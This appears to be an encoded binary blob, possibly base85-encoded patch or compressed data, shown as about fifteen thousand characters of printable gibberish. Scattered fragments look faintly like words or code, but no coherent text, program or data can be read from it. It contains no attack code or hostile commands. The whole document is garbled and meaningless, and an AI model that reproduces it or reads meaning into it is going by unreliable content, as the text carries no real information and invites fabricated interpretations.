zg#K%w|6b6)4Emn}{a=FqQ=tDf&_4$KXF~sPp#R6vKMMVqK>r(|e>>=Z5A?5w{ym`o z0O;QZ`dwD| z|2ycv74#25|6$O77WBUx`X3MdAB6t9LjQ}Q|J%@i1N2`3{kMVsrO^LX=zl8oKMVR_ z0R4A^{wF~HkD&iE(0>N>?+yLmg8s{)|E19XMCiXI^nU>Qe*pc*LjMxzKL+}r2mSj) z|E-~aJ@lUr{qKeTJA`pdaf@(=;l9Gn$5r4S!DZqyaK*SialhhT!Ci-2h`jI4S#w;;zKKkNXn0 z0Jj!52)8}1749+I9=L~bopI;jTI0^gwZ(0VtHHg4`vlhucMGlx*B*Bat{-k^+%C9s z+(EcHTpn&;+{?IIaeZ*_;s)Z5#p&aq&*7Z=|7V|l7Qp?CyBT*d?oiy5xchN?6D}J!88-xX94;641Fi+`NStOM8Hu|Dw-R?C?s8lf?ljyPxQlQj zaNpuq;qJh_hU<#6ap+JtevNw`_cX2}ZadtkxP08XxE$P$xYf9;aYx`r;Uc(sxSep7 zxB}c!xT&~xxNf+3AmQH?{Hh;LbzeLS-87# z$KxKv?TWh?_cm?=ZUt@|Tq*8V+^M*;a2Mcq!<~Tp2=@$b2Cg^mE!=Y4rMMGuTjCzT zeSjN_E5VJyormj>+ZtDon~u8|w*yY&+tS=<9&^V5?2^ueuMnK~}8cTA< z2Qh%kjxAfH#vf%9mTo~~g&Lod#zJ;RjrB<%p)ok=2Ba0xc!6xvvh&K8ukmw@X=)rz zS__RAY0N=76KNS_zttGO#?_?#ksd)dQH?`rY+w2zX*@J;rLkt|Nn}HpE=6NE8h_Q8 zxyG@iEztO|#t>!amsUmNyRyN`POGtOjaO<+TH|uk?#RBcF)od>Ypg-z>l)+MxQ@mK zHU6wIWa$_rACUc3HfW9G$ab&scWHv8gV5N&#=kU1sc|}uoof71V*nb;QXiu6OpWO< zw6L4BPqG)w#x9+Jv{f1}(ioI<7SdK}{6ZQS>3lS{sqqqNJfw4yc1z6MV{jS= zmsUvjeT~6M2cxlIjUULSjnriu+4`kd(ipkMAv89R1mpzS+@*8U*t_&g(g0~3Nn^np zuh*EFbO_RNX*^JxDUEAM3nlxvG#1jiNE@Q@CXLx>99`Nbjh|}FMB`ktg=@TBV?@$b z$aXJ1l*UXn4k>Mq#-pWC(>Rs1KpGE}2246JX)~l>(wMo%9i*j@enOfNjjLR58WYhtzQ$e|GQL$~TpG94ScJx3H3lPHkF+ZquaxFV;|Lm?)cBajJT&en zt&hgvr9sg+v9ub}lSvaL9iGPeHC`xR7gX@;Z|(paI!qcp~&aXe{fq-TKs^QE)WSh2<%r7@F^Nnh6M(HM<%EYd1S zkD@Vo>Gm|X2mR}$vC%lAv^CPVXiQhS0BKL8ACZPhIwFm|X#7cIxEi;U_C|U@X`rP0 z(b%{22^yo9ZbI4vjsIy(Tl|-nLF2g^W0dYuV?`QYlSW9oN{tn3{8<_+=_)mLDgB!? ze$q8)tW^3gX&j~7)L5>@yEP^(-KMmi(l1I=AsvmhWzsuH^C;byv{BOMXiQP#Zqh1f z{7Yk|8b{SwnZ~;{rY9YYv<(`6mj*^UL5=Nc{9PJ2=|D7gsPQam-Zai9t)lcX8iSNB zM_MqAw@KqD-Ho)1(*J1;8Twx#t&Yaar9qO8Q(6G&B{ilk9i+y-q_2|3O}a3RHEX<9 z8XD;urJc}tsWZmSAegi^8XuOXO5=9YLTbEJ8U*S3q(zZFRb$lB0ZI!X{iigd(q&1z zD7}ov9Hpa@c1n6NX=~?Tz$j(uhc>B`vA+kka5v=Oe9v^hFwTmhMtxxzbZf zqbl8&v}w|JN;4~+kaTU*+Dc!gF>C1{rB#%ELz+bC1f&g=-a{G^>4G%&sqt%#K}vU| zv0&*Hr4f=YMcPV@FG}MhU8J-((hEu>D4l@DqBXv&F?{Lfq-BzRMjA`$M5Hy4zEm1U zjoV7wCq0ccztSOUEEM|JNz*6Yu(X}ht4L!e9jV67rAL)!L%J(z<)mMcrck;tX@@kv zFO8~nT^f7U_^dQ+(kV%cCOwWcyBgP*wnh3nX$+*RleSHI4rzj3gMVl1@U}PU)Ma*_Mt&S{La-q}i6PTiRvmsidKU{yRzQB)zjV zpVCE2nX)|l?F_@0gYu# z@2W9=>6E37lm0-OJn29+)-HXsG76(g8^;Ej^1g&>Hua zwo>|5X+otlkyb>BFVTlx|sCIq40gp_Fb?T2blgq*;<~TiPG#Ri#0f4p~|V>G!0$l5R}e7U{L5 zL6GiB+6(D3yW}mF`a3Q|ZH`(Ugu{T4?F-rSX$aNZLZ_ zO`!kT(s4*jDSf&$o6@C9+bzAkG=kE!N@p)^rSvM&Kuf1A?UwY&(g;ZxEUlOHW6}gl z_W=EeNq->Cp>!b9DoYGh@Qk*-bJTIq|Vsg2;*J)q4QaK1=T_&6{+I(0?cCC8ar(?nhcS@n0H7>A0jV()$k5 zh)7o>ZLr>_kVZ_pGij^!K7}+((!ERDFFm6)Qqpzn-3Gm{Aq|(KbK?hq-q+AO9eQs; zT1x3>r74%rQSUlP?+yJkq|23-NO~J-6s3ESR!aIQX=J2xla@#NS7{ohyOZ`+?*~ZJ zBi)^}@6vxtGbA00wC>XP=p6;=Vx>Kj9#1_0FgY>p~XFjWJ8ioO|~}Kmt+Hy-AA@L*)lN$ekNOwY;Ll3$xbOdm~23@rO8Gm8=dTj zvXjZ4DSN8;FMEz`cCvZN9ws}eY+bS!%BCqhn(UCW3(8I=`=M-?vJuJtCwr{yr?U0P zW++>e?5?s|$u1>Zu55j>UCGWXyPIrkvOURGBs-pLy|U%WUM5?hY{Ift%Jw9iu54qn zG0FZXTdQnyvX9C3CwrW1zOs4Aekq%)?3c37$(APjn(VH!UCGWWJF)D#vc1Z-E4!F% ztg=1JrX@SHY{att$(|-VscgKmr^;3<~MaGwhuecSgUwVCYsYx)%~O^>~D;sfn=oww@bg*Q#8?z!rKpC(Uv^VItSZ*2MU^L>6j{=vS7 ze>UX7oqB!v(D{?LA70v}&9ILbeY4HWk!!b|vGwc^uF5~){T@T_-fGORWm`UU_9Z_I zdSv;Jx7>Kd%@g0vyyb~y4~^S=e;Ag+2@|a z&p2?xiJ^>xPkQIjYeL7@9bVY_$QgoLsmTwV^XxM(M)nbDZ{hF5B7j?1D+4A#mqVsZ zQnGmbiQjj;{e~xZ|K!FA$(;_mw|j>l|Ma+#(}Sn=Z9i=3lAVWd+-Ch7 z7rZ|5&Cd1D^!=pijXotO53JtzyQ2@g>!SE+2Rt2KzUHdai?5I6Mh3RMvv%FAE6&Ux zIrGl&z;?Ga<@}hnU8j$-YmeMzVUaz-(R=m&nwU9bmYSYP0P=$ ze0S>&N41+jc*Yj%=UlyUm-e^)yrOX2+A9`xe!bVu9}j$S{~!9z>bk{aLq2(Hb$w0$ z%Z;ohxa`W|f#89U#Iy6p?Q-+o-JXlybLl)E%R)oq8jirVyjYDDX6u72XngT8D0f8f~hJ8p5r^oi|$+3((; zx2jmV@sw5vb^7R;Q+GV{%BAm~_iaVf&KF;F-PTyG`QTtmAfS8@ao~oZ@{#*PZ$Jpu1}KKWP8M2Gm|$eZx<&<%e8%I_%U)Htd z-AkS*uDtQ__d3rVwc~`TqtDvozN(7yuNQvWI^*cwXKZ`ag`=Ae-SExO(!(x!^rB_Y zzI5>xSM<7PuR9mtecQT|Cy!sgV#?|d552Ok|NU3(F>X>`;|}=;PCNVt@jvbKktMmN zY`uZ67tJ-vie_XH@+Vyp&QF%;P5%5a|1}Rlc12Yz;=D2+X6}nZ-hqz>lBMDKddJ_J zQp1@8#+|{1_tO8|JTMDmOuOK3Z_Xss-abN{C7qG*yC9sFY$mpeUs z!tduVsi>ImPS@aPo-kDx#Xr{4a%LH+3TxJcRB;ohOq-HFamvgwlP2m=Q+YR?aU+$T zbLwNwa!!C58Jsie&#Vu+KwK0_zVd^E+HHsbdVWX2R~ zW&9N98m7+q4>$2IWO^Ip`2TP#|8l0c(ls#Vz<@0kRSBlz@M|?MciPk$dD%4L8Rc%v zk7(i(ruqm++F!9OsgHnB+0En}yLdcC%Xt%$z*gozx~f6sNr0F|)1Qv4m_w4q;jlOqezi zJkgpxVmJru&ss8Mu#SPbO-dvEomqMMM?=+{;;@es-b^RVbwgK3cc7_uyz<7mYi3m> zA`{Dtm=4Fv+{&`@GYNx~i+OJDu6RWg!!brIdU8ww0plO3ME6aeFE%eEEHoVBqnVs z(nL2*>r?H_-8C*Xx0mMZ3KWOpn%5-}T~HNe>X=BNlDWRP=fq-F9jtJuT%EMGuZjnX zmBZ(T=5Mho7qdwj_Zp`!W2c(fCW|1K`y04)}fuZuhX6LF{8Q=UL}-r!L^G6xOkU)X;%ZKv|!ynGtxJR@;hG{J;i z>flR4iO8Z5eg4EL(??}i_sATqnoFlIEKMYU^X1H$GG_9`Y%6!%q%q^CS=Qtk zlg4V_EN6MkN#626Eyv{KIO!~%be2v!OD{d!OV9Swv%U0eCwDWNqO|`%zC%bozG|bv}uEe_YWxcXE{P(MD-?V-a0pd zvI9B6Nuzp10z@g-*&R!_PtK<5v_5cfk8qE$_7?~U=XmRTgy&g$Zp|Ar+h$l| zHsU#{cn2P!()n|Y_}E~2{j^lPL*9r$di~x;d{Ab3{h&d9yhGlg6#WBvgNFF)i4Qg6 z!~A%MyosrO1@gvG9jZC!oORyr-#qTGPDM@Rcq4%^gV}W?Fm3W=EhbEw&cf+uRX=nw zZW-JJy@*p2l*;YUS<``gp_k-TfRdcESHwB>5!D@Xo#WD)|LmZq=g~%TrjL@1W|QW@ z5l{Ss_1Sr}lG@se^Grvl6r=yrG=glP8l|)iZ)y zN;;6lb5|s)xiD3l@P6D8)j?=(#vYaKpVt48s~Pj>o;zyCp}zO#^IPE+W@ol=o`dW` z?(&cJq4mx)hI_N;slC{laLt8GMs>6{zQhDUJk$o%v5CyI1uChfuGlKup^&isM_cV=8o1X&sm>u&AUle?X1 zD^a>T_o`*-oHak>GPe7p^Uf?tpSK>PO{d=rI#}np3q#J_p8ju$&DW*!CF4%J+9aR1 z&e=w1=FKAMV5S77>G0%}UsxG;_uk5~T3N01pM@89(WdLowErr(X2D? zuPKJCCS8&#sa; zZzsj>@A>}maN1I*Yumpx;`H6>kc*gubzxbQd4cJ3Xi3RR`rOKd6%R$NGG-ACSC6nN zqj9S&nQ;3h=9w)Ehpcc}#X{{f9!hGvA$lN;GvQ`9RurqMEU_YV8liB!RC&tEs;#1G z3dL2j55izK&X)_4%#}$$R2p)hG2?|%$|+q+o*~K;568-?VhbV*mb$UX0_HGIMk|$@ zNnA^*arTuTj`JYDko{B=_+3hwgV~Q;NSO02D&v@|-RIV7uieKZVfL(jkO3Fryx3&u zfI-^*P{%yr;K44|L01n}4Qk&DIa0Q*h=(=%GxY|)LlOFRr+*G%f~c+xVHIJ1?n*Zn zT1Y(%8t(L2i3lx*y_PUfD8Do-WpUy6bC{N8l~*sV)&Ws((Q3+8-Q`!rlS_--T8u~H z(Lu$9RwBY);byFCX{qXCNCXqCvxOI@j993oC_h%l^@``mqQ#*wzi%oRmRV$TP9&Td z;jgwrg=Nn9hqUj~O2_=g`Mc#}nk|ye%{iZii&$8tg`8tW+^U?f&cm`6MUqx*QCxM+ z(P%#Ms8vpzFOB4@Nm)tCr-@hS5H(?IIGLcsO*r-CzL)%X-8UWO}vD*QxbI&<7H(Q!HE}D7FT-Rq^?tbC~|0(W??QYD;=ccEQv)eu8mVx zWf_efN1B6~WmdO8*%O>*lAy7c#jBNn*r35hT!YG}eo=-ZYI`APTQ@E4+)LfKGv%?j zP1tE`lqae=u3@Bm4_w2t1#6yS*^=dImg00H%T_F3WZ9bKT9%s2c^ym5pUyd#SJ0AG zmxCi!GI3e+7nV7M(qo2xwSk=71_@ceocymc%rPZu#K7 zGF4`FMR}rv>k^EXCl<4QO0*;t!{9Ru!j)k#SDtCK>cwLdr4jmx38BhGQQGs^L`5j# z#26F6a+u)Ba6C1iinHfboIR)Fw4zj;4}i#$>Dl)f32_EGQgZ_{2fh1n)1NyW$1#8~ zJ$t+k$-;W0nW8mx;>?v^-YY#-dfL+EmAsD(rW11p@bEo*0+S%?FK}>SDK@jnJhxv? z%~8x8&_TrS9xb=k+I_fs)w0qsjiILq-fw&!;^mJ!dn8ZZ=ah;{n=tAXLPK z3s4Pg!OV%}6RGKW&P)T-RVvbCOrQX!is(Y_i`^(57B2~wt3-!^0LhO;u zXD)j)wljBvZP^Uej}~!Jw5=bnik7R}vPu^AuVjvIZoTtWl+}a%d&M!wd0A4^fRh^FHtw|F8RgC(0s|P1JyaQ-*`xXHK}ES* z5M_ARK-YmZ^QqWP!*Js?LO-ALXvua?6}bix19pYc^rNL?ph|D+)U-2KKkfOy zZ@(O%zpZ*@ZCF$qS!V6d{BNd{2R8gk`KU#yv0r*WBk9md?Ekf^r9-{Uj4sjP40KIp0c% z9m0bnC|jv9e0%c*3!y zQ&&7!#PTDFDf!bgbkA!oNN`y))ql^r*mqb-OX}LHxX2dgHDSRqr8FH>S^S`@G zN+>NaDW!AFFHJ1)$~4!&bB!EvhR%{YOjMR}UPE+w=7LdBhW zFD+lBxRO~P)3Z^&w~gvU!)6T0I6sy3oUH0K^El_Ruq;sp%}D3T7=kP;Q;QOI9{?+p z#m;kZIOZl(6(Vm!Hy<3i(z$5L^o;rD@)XPS}6k2`r>0KX$NQU??SsSZ5Ig4+iH0kaJPR^9JsJlT968WmVxO>EML1qKHn(fR^wk>2CSy<9EwXW4HWGu(tPCc;)*rRldKXC|r`h z=ApuLygKC6i*r3oyjzwj}Eb{uHBA&#=p`yZ=Q|Hd{6dG-FaCMm;%8M4q9OGwEoR3Wi z^FvdSqH5imlHf#C8J(q{KR$>yxgepAy@*aETv2HiB_z`zzkXWL0ct(T92bdBz9gf7 z;8?_6dcWC<68aIsdhbVEQMJ1w99tqQniWnivEmW;w?f?e%@vE3RfqYZd%=J`GI!`*zT`RplwjdRcrQ@`;;H<^Q~4>Us?yyePTY%P1E|9M<*g^4TJPj{OLg*lJ8<)R>y_VM&qFh8 zb51_a6LUI_LM4?aRGo_Rd&4^|Y!T&=a{nAF5>6~$?M1j2ac(ljN$(h)xVL{N?w+mk zL>HvHvG8@;IDtN;>1f5ULM7(jJO-+xE2c3c>K;`gEOh`p8n`E^Hf7>?Wl2?$zfTg&D(CyVWxqT$S1#HFS8awXD^tzI zit}Ns@cfv67(Vunkh*l!y`%SW$!7UWHp^d<&R;sXNDt(3mg*csKrJH%YsN5+aUKDpC@uGxGC9F?4Jw&{SM(1Fb z@H}3*C=_Q$@e*AJw|$$JNjHaklk9ypsHWoa!s|^Eg%M6+-|KkEA zitawu|M=-nKjR&{6ZekGiMwa(_dnXiji>Xd|8dsSPW+4Lv>Eywe|?F69!{U*?pXbg zw>s75xcPN~+{5?!9A^W+&k->C95*f9=QvnRG|rvWS&Bc3cs1h0y#saP-odd~ZGz1# zf>Os>ih2&#lFR3$>oO``*jrzzC8zJCvvkshz4cByk6%tYODA1e>B3Gv**>}>nlss+bZtouUufPC+@H3cw{+u%ZwOtj??{Z!ZCB4eq6_y zigTQ)IP3j#Dp~Kxb;8aLI2RR^j(a=s);l{;+~0u{_jcf~SE2rT#ho6TDs+}q89ljE zp)8#WLA@`4#Uixl}H8mr*Z0>ZM1$^eC5zd{yPx$8;=yTqowob=Cd2 zt|;+x=YUjCPF%VDxYtJ9_3rg2?i`?($2rJUJe{BQ>HIoiKaUPN6*uzh;NA7!(L2W= zOP`-#>y12ae&^>GS@bJRIbBRW2$S1=baD6Z#ho(Z{xgl!^Qgb|o@os1JkuE1d8YAk z>Y2t};XT86Js{%C_S zfjGkb@(6Z3w`j|SapVOg;ymmhiiOFaA9!w}u3=?$s!F*ZIXIoy#eS7~>8UFB@n-3M zjdNaXzhtxW!JCv1-emhF)tiDDsgt#|FlU~hfQx%YvcC4^wCGp;a5+p!$%Er)nZ$Lr?SqWJHyphd3X2cB;(6)HB>qP~1qrt!nuISx!=TJr4VFa4si_m(;9Sf;1S}rkl&FcYhN-U!*FTc&cKx-md^>y$9&8LvgQ)oj4yU)^Q`E zcbCy(XGz_Jy+fgX+-P)xTi@k=#ZeDDBRJWdHp1wx+eVyW-gFyr*Si%%+-)On9=DD7 zai@(qz-uF3e8^x9KNY9#cyTx4v>n#CZO2I>t`qa)Zp>*%%BOb3k~(&lPCEjtZTQL8}7&#5r_4(J_*~q`<0>p<5_A1A_{^>m4nK^m9c&aUsE7cbKIO91wR;OKPsdmBAZ5Kpv zPP-uLvOCcK)9p$2R{!8QcB?Wo$1qAz@^`k^ zHY5IlGWPlh%FquYoy(_x^SZLRr5{r&LqYiOIQJVIp`jxb5hVg z{*3EOrvJ2zfkqjBb^rb`W*TMac>Yc~OT03^VS5F??7y-+jLiP_f47XK-f`$W{IdSa zF(|JlNb@yuz|erh9dXFgvrjgSFoq?MUZ(*?RYl{ig&8SeRL|Ba;E2Cm<&jorn=0n+2(fPtHLZDV)$Fv(Uk>Aek{8E9koGjJ0) z)4Q>o0f_DB!w_?p2v25$T;!=B{ffYK>%x`6{{<`2{D!wO>9P#%ENj_ z3=VB+ukmmJII~|%`$Z2s^}V!(z0SiVTXm$rXXJ0%v!&f^49wxgLr#(+Ha82u0_G}N=DIHv5Y+p}(R2%sl*nX*jYe}y$a2@H(3|tGY zHE;pA&cOE0ZS31TT+99&c4}j)X=)#=wn(TiQPxIFt5bPx1N_%8QfUYE~Ls16tZ04ICKO((Yv7rnMP%7Xt@q z54{a+frlEnmg|*e;5g?u!Nclr>Pequq}yEo=|*}T>9dXWTDC7R((Bu{vLhbOqP$>- zR(6enYudN6ml@j!c4%d<@NgaZo40Re*BR-}+qJS+dN@FOylX4F-oQ2N?=B;MW1CiX zgMovjuQ2M@0gZv#m ztmCZ(clL0m%IlY5clR*RYT7fy&h)VA-`ViK)Tf74d~g8m-M}@Zk1%jO=@SfW zx95If;2QQWni29IR75O1P2>6*I5-!68Mu-3kp>P-hhGLRxQgpz;M#ilW#G)KxgG|t0aqJ1I0t?i zI8OPs2Clyzei^ut?N=H&>tO2Fz%{cn>;?m8-UNRP+;lDcF>u2&_+#L}F&TEVfoo5I zF9vQtivDVzQNIQ7!@xD*fPov&h7Se~+yNg9TocQ%vkYui(Ed$aPJeFTnj+e}ftyP* z?6`p~@KOWUoJs#~;HKIP`z!+oPpAEw_ze0h12=I#cNw^*koIceg0pC^2Ch4j_G;k3 zIkZ;;2jR;%KGyR*e6S8l*Jm@>_OM9Rd_MK*;TmxL$<(Kj-dU|uc)5vhq5T;+ek=83;AYZS8MtmK?ajbV;1>;SC8!?*XMx`{a0B>L z16!5Umw~guKO49P+$uj^e+}S{2DXy4PXh8F3~Z!7A7S7I`u`jQ*V6w74ICu@Tocp3ml!xs|DQB)Cgs%_xQX(X8@P_`R~R@r zjprEy*Kqvx25u&Om4UOS^E_zadd}}f12=GgXfkk+{`^w|*MT<}*gA;z9ZJ_{%?$bn z1J~X_dp2;>N}iVuT*v)ksDT5s>2D2O&;4PNfora#zcq0DMB1l;8@WHk4Qz4$SZd&c zqiLT84$^;~W#Bq+oq?OrrhOVX>kjT`2DZw$pBcD-`@>TP&gA~E*1%RV{fU8trLtf)oy+rqhjl*)-a~zQxJK#V3k}?G9_`h@HRsb_4Qzu~8MtY^Wv}rt z#aZ!>EW6RbwWO~#a2DxJ25!8U`n*tZ<&D$sIOWB*O9)$z?r1i8Mw~kdCKL#$y zfIkMV`<3f!-~#Y_2DT}`*}#pI|FeM`D6d^4eLZWzoeXTV|A2?HXkSgF_cL&i@<$l? zo7sPkftyGV8aRvn&oywI@=H9d+ev`(lLoFOy~e|`r(}`7+{7)ZUk{UP)sz1U1J{yX zZ(s|&%D^`5YmJAs|3=bZG;k*AO&-?%n@RuFz`?uWhljQQCa@Jv*Jqsmu$_S$!M1@L z+QJV5$H4&)*Kj~K&zrrC^rq3=4~+E8QSiY?ZyX693~Z4%cJs z*L-c+)dtS|#eQVh(4IC%E-oOp)?=Az!$=_h$ z0@BwQIFs~71K0cvKMb7t3;Zx}fb?bqH-mpRaMt&h-L5EoJ*^Fv-O0dB9B;tD4dm}< z;HDoedxU}OeuN(et|2{W-~!U;8n~AIl^8fk{-l93Nv|=mP5N>JXZ}R}8@L&Kg@GH{ zU%i3rNnd5)Ci?p|2Ck?68Vy`a`dR}QkltkAI{M@F2Ce~rW8lDY_)=`t?-cl9;P`>? z!N5)Y9?CRu{5IOZfg5h8y&E_HE--MxE%fgOuD_N3#lSYW*1$owuQPBK>GcL~;Q7D7 zz%>i$pA8&bMEw{zb1Ba^25#p0zuCYIOL)F9a5MMQb|vZhDcGO>*}%0t{|5|g9YOzW zV4L5|BMn@@^Ti|sXI)5tVBiLx|04#D^ZXw-aQ!@<7ky0s6c2O%^D+Hj!&kI70|&t? z4V=mEr@IVXa0H4WBy_11!N$+mpOz=BkzlhUe2-12;_N`Od)h@jNdZICui}Vc_PIs1F0zgBuMT zui^K%f$NWgUj_~yNBtPs23v=w>nF(baz_Ja(*8Odxb9BwHwL!ALk-+`7ko2t5Io7i z7T0^Wf$P7t?1+IIBD5z1XSSg|8MuJwyJZH>%H?_4z%}LY(ZJ38KDge%jfZl7H?S3l zj|Q#W6*U z!0|rVhYj3F`dJ2Uo@?1lW3D|}TATWL+|Lah03YjNlC3823Iki<)#dK?`ba#N?&o2ZA7uNv@$~*`z(Egddp)yh9=^5&*~c}8 zr{_H1x$%x$wjg7x)?01eMj3H6$F#KT<}>zN+>+maEmQV!H`V=LGlBIvjK}Zy+w{5< zSih9@Ny@1HZMsURo6*t^Os4z;f17^&rS0t72&)JUgw=#K1b_ce5pN{CNLWi)M`$AW z>F*I=PiQ7=ApA_QE^BAEBlvl2;++WrZ(Vnm{k%A@Iav#MAvZzDBpxE@1cTQivl++`#PXNp$y?g}2{V);Vu=sP|JYu`K&Lnw6`n!|n zx#jX989s$DBX^&`!J3MBRF5T9&a8mUfu`x`n0GYpEX$d#OXnGiEeb8>9apB}vY57l zWfjXR-s9lC4PintX))Fnlcq^2h&%6~v2@-wi;=m~S?|sj7K<{e8LrUF$I`8uOr<97i*Tj786f(Z+IRQBu6n(BVtokO+yF{|CkNL5+c;?Wj~0hR6Muq-DdSl@#5 zoHGfcH;*23+UmnWA*R@Ir?e|#23+PCWU@qkN2G#jJ>8j-HHV-!oEqH6*?wx!n^CZW z@6wc&E^%}5QcEDlr)0``<2VrF13Zg)Vb9$_2Zi%FChjp0&pv@F=2(m~3#BIA;S(nj zrU%mw;^F*wX=ydf{-r~QW)@ZVA3Q)BQr3IZ;^zO}C$0W$`_R1BnnTgsjoUVy8O8Pa z7GA{B%%%}zKJY);?wIZ@87p*)v%K$|q!!k%oPgEf>DV^-dbWn&Rkqb^+}O(MMwfZB zwQI&D8N*vNwYaclNvqt}gWBxbc5u6K?Tb6~?{HJQgWC3Kvvcb{t!B2oxP{eXaYp-$ zo2(LRsI@IUS-ZAv+UR?i`mUjzzFlcLecSTCa{A8Yf8unu|MM>OJ+}Sy-NqR+9`Tk} z?x*i{ZnMo%`|TKeaEI7~GxyuME(71!TmCqD=wmale0SH!M$f&Z`p&6GoH6>noNtSB zKR9UginSZQSo?X`(e2AtZZ~e*4@Ozy9#hQSSV6srmN;6)}1; z5jIdBUF1YM@a>OMT0MPRRV=CY?#w~g)&Gh^2j;mvl<#gakzVf}dz4i7alQe>2W;|G zpHn9Dy`|ZF{)zasspGVO_j~Z!g*}{)0=e_or3)K3jfpS4&p0ggW9-zO-|o-k)7xXc z^_hcy{^q}p^l@gr=F1uT1e^)9I#^EJop&^E+GP4}<~=V7Rpv97s59TBu;#kd$G>zA zf1YFgwTZ(rmBExy!l~Ku-TmmhaqfqhNDaH6&q`&{?yQ>ZR(9=#R<>^Xc2+Apkn6?^ zh{wHnJ@E!F-ZZwA-8|mSV~uHL+vD7Lka&R?uOnXX#TzNV$typQ)5^}A=;n_TukqrU zel)r>67N7;)W){CaCN)~7c7laZit40T4l*@$ON zNgqS45pOc$o9u3u^1F{>fna*uxDjtK;`V{*JOxI)-iTXy={!LrUT4IcjrbGcIhyupYEW~B4fc<}~)J2ZN~9sW*5na{m{CjNK!@mIF_-*60n<#_+EpmZN&fXe*WF=-x~P02L7#q ze{0}>z6J`6-wXfqNAv&h5hVEXKq5@w+kc5d0v}3E6cU&&I}sr;0Z)R7o)UvH34;iO z2}20XOE_ql)wYE{n${M#1x`zinEC5BS^DyU|ML~T`SaoCSkL@_C-@atlh@jAB=|TO zY;D&Od~BAjbw2jf|9@X@ULSvi{q=u!8K2YI4iNl$wmY@98@5YhfBpZ|a`W@q{5bx* z^v(1Ci~m{;`1R{=)jSja5^86)W`2v-%rWD(l^SnZFx|!V-ZGxq+E(zlw+FSh6?~jE zmU0L_w%Ja>$Bk`U+ckuEJK8CsrWgAp1bWl2Xt@LHwr_10bOsY|>cmobC%25u*{tI@ z8(G#6ntO2kgxa3$m(Z{?WfKZ^VZVg>?!*Z}@>t4uAlnoC;|WY7Kf%YD^lj?neB9KB z`035`oms~5SYY+3etH)BuO;|c zOSAtK{=NQJ>*f6Gt)*Nbhx5ti90`pCKiy4D=l>&IH<&sn_~}hUD9@;mEO0HsPv89h zqxJr=_)EKso4>hRdOLsn-&@uO+sk8eb9C;`b;1`pt2Wd#R=Hzt}Z!-__ySoM(I@=S%Ppw`n~6`GhoXBpxu* z3;Izv1V4X$7V$A@to44Km`gu@=49?Y1RpmN4@^npn$g^s2!48iXASdtBWnQn7lNPO zL_Bj~8fT3no#3Z8u)XUT5IIp0o#opI*bYZ#1rd18KI=KK*=u zwA{S?Z{8j@ub<7!*_T=Dh9eHrs!u zcU;;wVB7~(jy*M9p0MsUTK@m;q>$FVM!yAHv})tL!}2Hf=I-l5{oU7z5~1?SSST5l z_*@^H4u|ud52mw>RPr7W%gO|4?vgiFGFr53)w)gFc7G5_t#038i;i1vwKa1xcpJDY z{_HXGzLWPRj&o?%jPgV@Tv1%kJ5IdGlX{JZ*Lq6J1Ca{eZsEP3PZ`}CBcz3zAroqP*_Pe%r@%|lW){14j@7vn#Sau}XgieIcgf4^tp*x{Bp&ucWFqANY zFp`i($RSK1OeYi&N(f29a>5G2^@OJgpAtI0PC0~0gg9Y2p`Or4*g)vCj{OmO6EX=| zga{!|D;4UU6QLO7PNlJFE^1ED*0mqiE?RJZy0g`vu5M4xJ~^7F%d zA1=l+9^%Vt&O2}Ue6}d!eN-(!KUtzruIX!T`T0eBJI;?U9EGjKZs_bNfZy4q0C-{(IqLk0i6R+a+G`^J>jqu$ncdZUcujuHw0+DDenv7bb zh>sp^StCbUR#)PqSkaYm@I1chOIM{lt^FF_9XNt3?%d*jAnz8Y}k|dQoAH%Jqg#7rQtwv72mFN*Xxwai{1D_T@TKfbyccV))u(c z>sA99H%%oy5_R5P@?IcxHVcGfe8e!}9+$3JDDlVJd*!?DAG({DCiS+VvwLIz{y_!I z8k$@n0Q=RS>R- zFaCpyDyWJi1Bqy|DpBrSj)L3?RzcqM=@Zk}E_JoNYw6+NFHr4QZPTszsG?RuMOk@i zKy8B$g6iDUmEpE>eskHqZCF6{uq~uft}wWL|J1pI_I1 zn7bgdxI9!wb1y9~O_sv)CDBAcFShF3{WR|3ywqkiYd;5hQs?%EyGZ5vZx2T2_?tTW zFUsA7ugQ``G!*e^>-RT-ZruVDo9cgP3HhN#p;EdvD=;1I2Xdm7VO}uwxD*&GdS~-- z%}OIB5K0DmTV~prL?X19I`XnkD20xRaLHn0BT|)Kp;va3(ZJL~y`>nKL?7ertC>E& z-&@=V2q7zOmC_TIS(W@>M7*43*s8Gj)-$mp))W#;IO#FoAMfu4y;J^QZ(C_CrnE5c zy7sr+Ee8|J)Ztn4oifY$AG3y7dTV&|@_2URYj#PtaF5N&;yfFUi&c(^aShxx?(-t+ z#wDV>=#A6!BY1o?IWrWi+GO1{f1UrFIWg7zvJ*5!2slmebXJt-R$FUVw6`xfjrr%# zZDY?UpI=_Fs63E*O_6;B&P%5k(ge)3t{1kk!_i%~odiX6QY7Jms0p(#{fr>;fd<`Zl!rs@c z-RF6Ir_Fh$XQ?_+T#tnMZdz-CzLBFj9@-OhY#j+4hqKf=Vf`3T+7<*qP33A^E%gMe za`gnOb=wfO^@7&xxj^fO5roHhINQUjD{YhKt)J#CXR%cIa|qhE&Qs--5dwrbp$kC| z7&_J(f{yhlZ+SFJtv`mKa*icv`_l=12p4^_+RQ{~?dfSAF8LKK?8@uJOWtmpFMs-`;)Q16Ry__{%=wU7h5}?Y|6d zz54kRiq809`+Z|M&N|C}wKjTIzp;g{WaM@`f5)D^re30gTAbbX!4qe8?{f8zj}(`! zsa#if!zYOhZSdeTkzSXDpXhwW7d;Mp?&jHCB<-b1s^r0PB6%F2f z?*T1ar8{>$HS3v^zTV=Q)yMYQ;*+HhpVi}r ziMnW6JHPST^h=(4AT(#)b=S>(tYc2=Z;N+W^<3UfcmCApl+y~%(nB1VwBt$l?s&zi zH_g1}lJRYZ-*Ujbru=m^9j^VgIqTI^S2ot{Jb#Zcb6$*?H29pyW*zg=*!|xNb-U)( zQTE9D5?{Z6dUE?Y4O?Ed>!-0-``RyjKxy`IyB!>wT3*`su+ClH3AWmE=o5#GT7`Qf+4q?wNH%t6<{)vG*QOQ7qlRXp;m~f&?Q7N-_Wf zq96{`5JXS}3$?iVDdFd*_R$iFgM*nAFkKD%8fP65B$z936(+1*#~0@B|Y8jrtgT~HjDBK@H%$$)9o1TOXXhc8oYzBU?-GD&T_OQNNY zW6!-*b+O+SC$}lDb603stC@Py;!NWVA(0nGqwZ(6J}+vq zuN*CT-Mgpu)jR8*Tray*>%DL6W=JUqF4_ifH^y>mOD6a^Ty_0=arg8eZ~IQ)`S7E0 